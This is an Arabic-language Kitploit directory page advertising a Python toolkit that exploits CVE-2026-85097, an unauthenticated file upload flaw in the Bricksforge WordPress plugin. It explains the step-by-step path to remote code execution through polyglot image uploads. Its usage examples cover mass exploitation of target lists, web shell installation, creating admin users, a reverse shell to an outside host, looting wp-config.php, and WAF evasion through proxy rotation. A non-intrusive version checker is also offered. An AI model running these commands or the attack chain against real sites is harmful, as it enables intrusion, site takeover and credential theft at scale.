Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

الخلاصاتاتصالالخصوصية© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-85097-Toolkit — مجموعة أدوات Python لـ CVE-2026-85097: تستغل رفع الملفات غير المصادق عليه في Bricksforge WordPress للوصول إلى RCE عبر حمولات polyglot، بالإضافة إلى ماسح اكتشاف الإصدار غير التدخلي. | Kitploit
أدوات/GitHubGitHub/tc4dy/cve-2026-85097-toolkit
الاستطلاعماسحات الثغرات الأمنيةتوليد الحمولةالاستغلالاستغلال تطبيقات الويبما بعد الاستغلالتجاوز WAFأمن الويباختبار الاختراقالتعلم والتعليمأداة الوصول عن بعد
513منذ 21 أياملم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
GitHub
tc4dy/cve-2026-85097-toolkit

CVE-2026-85097-Toolkit

مجموعة أدوات Python لـ CVE-2026-85097: تستغل رفع الملفات غير المصادق عليه في Bricksforge WordPress للوصول إلى RCE عبر حمولات polyglot، بالإضافة إلى ماسح اكتشاف الإصدار غير التدخلي.

عرض المستودع

CVE-2026-85097

CVE-2026-85097 - مجموعة أدوات استغلال رفع الملفات غير المصادق عليه إلى تنفيذ التعليمات البرمجية عن بُعد في إضافة Bricksforge لـ WordPress

CVE-2026-85097 CVSS 10.0 Active Exploitation Python 3.6+

Pre-Auth File Upload Polyglot Cross-Platform

إضافة Bricksforge لـ WordPress - رفع ملفات عشوائي غير مصادق عليه إلى تنفيذ التعليمات البرمجية عن بُعد

مجموعة أدوات الاستغلال وماسح الكشف الآمن
لاختبارات الأمان المصرح بها فقط.


[+] نظرة عامة على الثغرة

CVE-2026-85097 هي ثغرة حرجة من نوع رفع ملفات عشوائي غير مصادق عليه في إضافة Bricksforge لـ WordPress (الإصدارات 3.1.8.9 وما دون). تتيح للمهاجمين عن بُعد تجاوز التحقق من نوع MIME ورفع ملفات PHP يتحكم بها المهاجم إلى دليل uploads، مما يؤدي إلى تنفيذ التعليمات البرمجية عن بُعد بصلاحيات مستخدم خادم الويب.

آلية العمل

  1. استرداد Nonce: يتم تسجيل إجراء AJAX باسم bricksforge_regenerate_nonce عبر wp_ajax_nopriv_، مما يسمح للمهاجمين غير المصادق عليهم بالحصول على nonce صالح لـ REST.

  2. رفع Polyglot: تتحقق نقطة نهاية REST باسم form_file_upload من نوع MIME للملف المرفوع. يمر ملف polyglot (ترويسة PNG/GIF صالحة متبوعة بكود PHP) عبر هذا الفحص.

  3. الثقة بالبيانات الوصفية: أثناء إرسال النموذج، تثق الإضافة بالبيانات الوصفية المقدمة من العميل في المعامل temporaryFileUploads. يشير الحقل file إلى ملف polyglot الذي تم التحقق منه، بينما يحتوي الحقل url على اسم الملف الذي اختاره المهاجم (بما في ذلك امتداد .php).

  4. تنفيذ PHP: تستخدم نقطة الوصول copy() في الإضافة قيمة url المقدمة من المهاجم حرفيًا كاسم ملف الوجهة. يُعاد تسمية ملف polyglot إلى .php داخل wp-content/uploads/YYYY/MM/ ويُنفَّذ عند الوصول إليه.

حقائق رئيسية

السمةالقيمة
[>] تاريخ الاكتشافأكتوبر 2026 (Patchstack)
[>] درجة CVSS10.0 (حرجة)
[>] CWECWE-434 (رفع غير مقيّد لملف من نوع خطير)
[>] الإضافة المتأثرةBricksforge (وحدة Pro Forms)
[>] الإصدارات المتأثرة3.1.8.9 وما دون
[>] الإصدار المُصلَح3.1.8.10
[>] المصادقةغير مطلوبة (قبل المصادقة)
[>] الاستغلال النشطمؤكد في البرية (أكتوبر 2026)

[<>] مجموعة أدوات الاستغلال

تسلسل مجموعة أدوات الاستغلال استرداد nonce، ورفع polyglot، والتلاعب بالبيانات الوصفية، وتنفيذ PHP في سير عمل آلي واحد، مع ميزات متقدمة للمسح الجماعي، وأمن العمليات (OPSEC)، وما بعد الاستغلال.

الميزات

الميزةالوصف
[+] سلسلة الهجوم الكاملةاسترداد nonce، رفع polyglot، إرسال النموذج، التحقق من shell
[+] حمولات Polyglotمتغيرات chunk tEXt في PNG وامتداد تعليق GIF
[+] المسح الجماعيمسح متزامن باستخدام thread pool
[+] ما بعد الاستغلالتثبيت web shell، إنشاء مستخدم admin، reverse shell، سحب الملفات
[+] تنفيذ الأوامرتشغيل أوامر عشوائية على shells مؤكدة
[+] الكشف الآمنماسح منفصل غير تدخلي (safechecker.py)
[+] تجاوز WAFانتحال الترويسات، تدوير User-Agent، ترميز الامتدادات
[+] دعم ProxySOCKS5 وSOCKS4 وHTTP proxies مع استراتيجيات تدوير
[+] تنسيقات إخراج متعددةJSON، CSV، HTML، JSONL، SQLite
[+] آمن للخيوط (Thread-Safe)يستخدم آليات قفل للعمليات المتزامنة
[+] تحديد المعدلمحدد معدل عالمي مع jitter وتأخير
[+] متعدد المنصاتيدعم Linux وmacOS وBSD وWSL

مسار الهجوم

المرحلةالوصف
nonceاسترداد nonce صالح لـ REST عبر إجراء AJAX غير المصادق عليه
uploadرفع PNG/GIF polyglot يجتاز التحقق من MIME
submitإرسال النموذج مع بيانات وصفية تشير إلى polyglot ورابط .php
verifyالوصول إلى shell المرفوع وتأكيد تنفيذ الأوامر
exploitتثبيت web shell، إنشاء admin، تفعيل reverse shell، سحب الملفات

المدقق الآمن

يقوم المدقق الآمن (safechecker.py) بإجراء كشف غير تدخلي عن الثغرات دون رفع حمولات أو إرسال نماذج أو تعديل الهدف.

[>] الميزات

الميزةالوصف
[+] كشف WordPressيحدد نسخ WordPress عبر أنماط متعددة
[+] كشف الإضافةيؤكد وجود Bricksforge عبر HTML والملفات الثابتة
[+] كشف الإصداريكتشف إصدارات محددة من الإضافة
[+] فحص مسارات RESTيعدّد نقاط نهاية REST المكشوفة في Bricksforge
[+] فحص نقطة نهاية nonceفحص اختياري لنقطة نهاية nonce (--probe-nonce)
[+] فحص سجل التصحيحيفحص wp-content/debug.log بحثًا عن آثار الإضافة
[+] غير تدخلييحدد فقط الإصدارات المعرضة للخطر ونقاط النهاية المكشوفة
[+] إخراج JSON/CSV/SQL/JSONLتصدير النتائج لإعداد التقارير
[+] المسح الجماعيمسح أهداف متعددة مع دعم threading

التثبيت والمتطلبات

المتطلبات الأساسية

  • Python 3.6+
  • pip (لمكتبة requests)

تثبيت التبعيات

pip install requests urllib3

استنساخ المستودع

git clone https://github.com/tc4dy/CVE-2026-85097-Toolkit.git
cd CVE-2026-85097-Toolkit
python3 exploit.py
#or
python3 safechecker.py

أمثلة الاستخدام

[1] مجموعة أدوات الاستغلال (exploit.py)

# Single target exploit
python3 exploit.py -u https://target.com --exploit

# Exploit with custom command
python3 exploit.py -u https://target.com --exploit --cmd "id; uname -a"

# Mass scanning from file with 20 threads
python3 exploit.py -f targets.txt --exploit -t 20 -o results.json

# Install web shell after successful exploit
python3 exploit.py -u https://target.com --exploit --webshell

# Create admin user via RCE
python3 exploit.py -u https://target.com --exploit --create-admin "sysadmin:Str0ng!Pass"

# Trigger reverse shell
python3 exploit.py -u https://target.com --exploit --reverse-shell "10.0.0.5:4444"

# Loot wp-config.php and other files
python3 exploit.py -u https://target.com --exploit --loot

# Proxy with rotation
python3 exploit.py -f targets.txt --proxy-list proxies.txt --proxy-rotate round-robin

# Jitter and rate limiting
python3 exploit.py -f targets.txt --jitter --jitter-range 0.5,3.0 --rate-limit 5

# Custom User-Agent and insecure TLS
python3 exploit.py -u https://target.com --user-agent "CustomBot/1.0" --insecure

# Output to SQLite
python3 exploit.py -f targets.txt --output results.json --db scan.db

# Quiet mode
python3 exploit.py -f targets.txt --exploit -q

[2] المدقق الآمن (safechecker.py)

# Single target safe check
python3 safechecker.py -u https://target.com

# Mass scanning with output
python3 safechecker.py -f targets.txt -t 20 -o scan.csv

# Enable active nonce endpoint probe
python3 safechecker.py -f targets.txt --probe-nonce

# Proxy support
python3 safechecker.py -f targets.txt --proxy-list proxies.txt

# JSON report
python3 safechecker.py -f targets.txt -o report.json

[</>] مجموعة الأدوات (فاحص آمن واستغلال)

تنزيل الأداة